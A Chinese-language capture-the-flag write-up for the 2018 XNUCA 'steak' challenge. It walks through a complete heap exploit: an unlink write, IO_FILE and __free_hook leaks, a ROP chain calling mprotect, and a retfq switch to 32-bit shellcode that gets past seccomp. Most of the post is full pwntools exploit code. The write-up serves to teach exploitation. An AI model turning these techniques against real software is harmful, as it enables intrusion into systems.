首页
社区
课程
招聘
[原创]2018-XNUCA steak 涨姿势
2019-4-5 18:33 11917

[原创]2018-XNUCA steak 涨姿势

2019-4-5 18:33
11917

漏洞类型

堆溢出

背景知识

unlink
IO_FILE结构
shellcode编写
ROP

保护机制

GOT表不能改,但随机地址没开

程序逻辑

1、

最多创建16个chunk,可以任意指定大小

2、

没有任何检查o(* ̄︶ ̄*)o

3、

由于可以指定输入的大小,导致溢出

4、
同样存在溢出,并且可以任意copy堆的内容
5、
prctl seccomp保护机制就是往内核中添加一系列规则,通常会限制调用某些函数(如execv、fork),使得在getshell的时候不能直接调用system('/bin/sh'),对做pwn造成很大的麻烦。
这里可以利用大神的工具解析seccomp规则 :https://github.com/david942j/seccomp-tools
$seccomp-tools dump ./steak
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0003
 0002: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0003: 0x35 0x00 0x01 0x000000c8  if (A < tkill) goto 0005
 0004: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0005: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0007
 0006: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0007: 0x15 0x00 0x01 0x00000029  if (A != socket) goto 0009
 0008: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0009: 0x15 0x00 0x01 0x0000002a  if (A != connect) goto 0011
 0010: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0011: 0x15 0x00 0x01 0x0000002b  if (A != accept) goto 0013
 0012: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0013: 0x15 0x00 0x01 0x0000002c  if (A != sendto) goto 0015
 0014: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0015: 0x15 0x00 0x01 0x0000002d  if (A != recvfrom) goto 0017
 0016: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0017: 0x15 0x00 0x01 0x0000002e  if (A != sendmsg) goto 0019
 0018: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0019: 0x15 0x00 0x01 0x0000002f  if (A != recvmsg) goto 0021
 0020: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0021: 0x15 0x00 0x01 0x00000030  if (A != shutdown) goto 0023
 0022: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0023: 0x15 0x00 0x01 0x00000031  if (A != bind) goto 0025
 0024: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0025: 0x15 0x00 0x01 0x00000032  if (A != listen) goto 0027
 0026: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0027: 0x15 0x00 0x01 0x00000035  if (A != socketpair) goto 0029
 0028: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0029: 0x15 0x00 0x01 0x00000038  if (A != clone) goto 0031
 0030: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0031: 0x15 0x00 0x01 0x00000039  if (A != fork) goto 0033
 0032: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0033: 0x15 0x00 0x01 0x0000003a  if (A != vfork) goto 0035
 0034: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0035: 0x15 0x00 0x01 0x0000003e  if (A != kill) goto 0037
 0036: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0037: 0x15 0x00 0x01 0x00000065  if (A != ptrace) goto 0039
 0038: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0039: 0x15 0x00 0x01 0x0000009d  if (A != prctl) goto 0041
 0040: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0041: 0x06 0x00 0x00 0x7fff0000  return ALLOW
不能调用fork,就不能直接getshell了;而且还把prctl关了,那就不能再次改规则了。。

利用思路

1、注意到提供的功能里面没有输出的功能,所以第一步要看怎么leak地址。暂时还不知道怎么读leak信息,接着想想能不能任意写。
2、很容易发现堆溢出漏洞后,可以采取unlink的方法实现任意写。
3、如果能任意写,那么可以采取改IO_FILE的结构的方法泄露libc和stack。
4、能泄露stack后,就能覆盖返回地址,实现ROP,控制程序流,执行我的shellcode
5、因为seccomp的规则限制,不能直接getshell。但这只是对64位代码做限制,实际上可以写32的shellcode,以32位的模式运行(骚操作)

具体实现

第一步:unlink(任意写)

add(0x80,'a'*0x80)#0
add(0x80,'b'*0x80)#1
add(0x80,'c'*0x80)#2
add(0x80,'d'*0x80)#3
add(0x80,'e'*0x80)#4
edit(3,0x90,p64(0)+p64(0x81)+p64(src)+p64(src+8)+'d'*0x60+p64(0x80)+p64(0x90))
#fake_prev_size + fake_size + fd + bk + padding + chunk4_prev_size + chunk4_size
delete(4)	#unlink src[3]->src[0]
unlink的原理和利用方式见我的blog:https://blog.csdn.net/snowleopard_bin/article/details/81333184
创建5个chunk,利用堆溢出漏洞,覆盖chunk4的size,并且构造fake_chunk
然后delete(4)触发unlink,形成src[3]->src[0]的篡改链

第二步:改IO_FILE(任意读)

通过改写IO_FILE的flag字段和_IO_write_base字段来泄露信息。参考资料:https://e3pem.github.io/2018/12/04/hitcon/baby_tcache/
_flags = 0xfbad0000  // Magic number
_flags & = ~_IO_NO_WRITES // _flags = 0xfbad0000
_flags | = _IO_CURRENTLY_PUTTING // _flags = 0xfbad0800
_flags | = _IO_IS_APPENDING // _flags = 0xfbad1800
根据要实现的功能,设置相应的flag。具体的flag的设置方法请参照源码绕过。
这里需要执行 count = _IO_SYSWRITE (fp, data, to_do);

#leak libc
edit(3,16,p64(src)+p64(stdout))
copy(1,0,8)#src[0]=*stdout
payload = p64(0xfbad1800)+p64(0)*3+'\x00'
edit(0,len(payload),payload)
r(8)
r(8)
r(8)
r(8)
leak = uu64(r(8))-0x3c36e0
success('leak= {}'.format(hex(leak)))
libc.address = leak

第三步:读取flag

除了修改 _IO_write_base字段 来泄露stack外,还可以修改free_hook为puts,来输出栈指针(如:environ)
#write free_hook to leak stack
free_hook = libc.symbols['__free_hook']
puts = libc.symbols['puts']
env = libc.symbols['environ']
edit(3,16,p64(free_hook)+p64(env))
edit(0,8,p64(puts))
delete(1)
stack = uu64(r(7)[1:])
success('stack= {}'.format(hex(stack)))
ret = stack-0xf0
泄露栈后就可以计算出返回地址ret,通过修改ret来触发ROP
ROP链中我们需要打开一段可以读写、执行的内存,把shellcode放进去,将cs寄存器改为0x23(0x23代表32位模式,0x33代表64位模式)来执行32位shellcode绕过64位的seccomp规则限制。
#open read write flag
shellcode = asm('mov esp,0x602500')+asm(shellcraft.open("flag"))
ss = '''
mov ebx, eax
mov ecx, 0x602900
mov edx,0x50
int 0x80
mov eax,4
mov ebx, 1
mov ecx, 0x602900
mov edx,0x50
int 0x80
'''
shellcode+=asm(ss)
p_rdi=0x400ca3
p_rdx_rsi = 0x00000000001150c9+libc.address
mprotect = libc.symbols['mprotect']
#retfq = 0x107428 + libc.address#0x002bca4c
retfq = 0x811dc+libc.address
'''
code = asm('retfq',arch='amd64')
code = next(libc.search(code))#0x811dc
success('retfq address: {}'.format(hex(code)))
'''
mode = p64(retfq) + p64(0x602500) + p64(0x23)#retfq + eip + mode
rop = p64(p_rdi)+p64(0x602000)+p64(p_rdx_rsi)+p64(7)+p64(0x1000)+p64(mprotect)+mode
#mprotect(0x602000,0x1000,7)
print len(shellcode)#63
edit(3,8,p64(0x602500))
edit(0,0x44,shellcode+(0x40-63)*'\x00'+'flag')
edit(3,8,p64(ret))
edit(0,len(rop),rop)

#gdb.attach(cn,'b *0x602500')
#gdb.attach(cn,'b *0x400ca3')
sl(5)
irt()
首先调用mprotect开启一段可读、可写、可执行内存(注意页对齐),该内存中放入shellcode。然后使用retfq指令跳32位模式,最后控制eip指针返回执行shellcode拿flag。
介绍一下怎么找retfq指令,ROPgadget指令是找不到的!!!利用pwntools将retfq转换成代码字符串,再用search找这个字符串所在的地址
可以发现我上面写的shellcode是64位的,所以需要retfq跳模式。其实更简单的方法就是生成32位的shellcode。。。

EXP

from pwn import *
context.os='Linux'
#context.arch='amd64'
debug = 1
if debug:
	#context.log_level='debug'
	cn=process('./steak')
	elf=ELF('./steak')
	libc=ELF('./libc-2.23.so')
s       = lambda data               :cn.send(str(data))
sa      = lambda delim,data         :cn.sendafter(str(delim), str(data)) 
st      = lambda delim,data         :cn.sendthen(str(delim), str(data)) 
sl      = lambda data               :cn.sendline(str(data)) 
sla     = lambda delim,data         :cn.sendlineafter(str(delim), str(data))
r       = lambda numb=4096          :cn.recv(numb)
rl	= lambda 	            :cn.recvline()
ru      = lambda delims             :cn.recvuntil(delims)
irt     = lambda                    :cn.interactive()
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))

def add(size,buf):
	ru('>')
	sl(1)
	ru('size:')
	sl(size)
	ru('buf:')
	s(buf)
def delete(index):
	ru('>')
	sl(2)
	ru('index:')
	sl(index)
def edit(index,size,buf):
	ru('>')
	sl(3)
	ru('index:')
	sl(index)
	ru('size:')
	sl(size)
	ru('buf:')
	s(buf)
def copy(s_index,d_index,length):
	ru('>')
	sl(4)
	ru('source index:')
	sl(s_index)
	ru('dest index:')
	sl(d_index)
	ru('length:')
	sl(length)
#write stdout to leak addr
stdout = 0x602180
src = 0x6021a0
main = 0x400b83
#unlink
add(0x80,'a'*0x80)#0
add(0x80,'b'*0x80)#1
add(0x80,'c'*0x80)#2
add(0x80,'d'*0x80)#3
add(0x80,'e'*0x80)#4
edit(3,0x90,p64(0)+p64(0x81)+p64(src)+p64(src+8)+'d'*0x60+p64(0x80)+p64(0x90))

delete(4)	#unlink src[3]->src[0]

#leak libc
edit(3,16,p64(src)+p64(stdout))
copy(1,0,8)#src[0]=*stdout
payload = p64(0xfbad1800)+p64(0)*3+'\x00'
edit(0,len(payload),payload)
r(8)
r(8)
r(8)
r(8)
leak = uu64(r(8))-0x3c36e0
success('leak= {}'.format(hex(leak)))
libc.address = leak

#write free_hook to leak stack
free_hook = libc.symbols['__free_hook']
puts = libc.symbols['puts']
env = libc.symbols['environ']
edit(3,16,p64(free_hook)+p64(env))
edit(0,8,p64(puts))
delete(1)
stack = uu64(r(7)[1:])
success('stack= {}'.format(hex(stack)))
ret = stack-0xf0

#open read write flag
shellcode = asm('mov esp,0x602500')+asm(shellcraft.open("flag"))
ss = '''
mov ebx, eax
mov ecx, 0x602900
mov edx,0x50
int 0x80
mov eax,4
mov ebx, 1
mov ecx, 0x602900
mov edx,0x50
int 0x80
'''
shellcode+=asm(ss)
p_rdi=0x400ca3
p_rdx_rsi = 0x00000000001150c9+libc.address
mprotect = libc.symbols['mprotect']
#retfq = 0x107428 + libc.address#0x002bca4c
retfq = 0x811dc+libc.address
'''
code = asm('retfq',arch='amd64')
code = next(libc.search(code))#0x811dc
success('retfq address: {}'.format(hex(code)))
'''
mode = p64(retfq) + p64(0x602500) + p64(0x23)#retfq + eip + mode
rop = p64(p_rdi)+p64(0x602000)+p64(p_rdx_rsi)+p64(7)+p64(0x1000)+p64(mprotect)+mode

print len(shellcode)#63
edit(3,8,p64(0x602500))
edit(0,0x44,shellcode+(0x40-63)*'\x00'+'flag')
edit(3,8,p64(ret))
edit(0,len(rop),rop)

sl(5)
irt()

[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

上传的附件:
收藏
点赞1
打赏
分享
最新回复 (2)
雪    币: 1246
活跃值: (2962)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
皮皮虾啊 2019-4-5 21:05
2
0
师傅厉害了 学习了
雪    币: 19586
活跃值: (60093)
能力值: (RANK:125 )
在线值:
发帖
回帖
粉丝
Editor 2019-4-9 09:23
3
0
游客
登录 | 注册 方可回帖
返回